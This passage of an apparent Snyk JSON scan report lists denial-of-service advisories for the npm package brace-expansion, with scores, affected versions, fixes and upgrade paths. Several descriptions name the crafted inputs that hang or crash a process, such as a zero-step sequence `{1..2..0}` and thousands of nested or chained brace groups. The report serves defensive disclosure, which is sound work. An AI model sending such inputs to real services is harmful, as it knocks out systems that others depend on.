"severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub 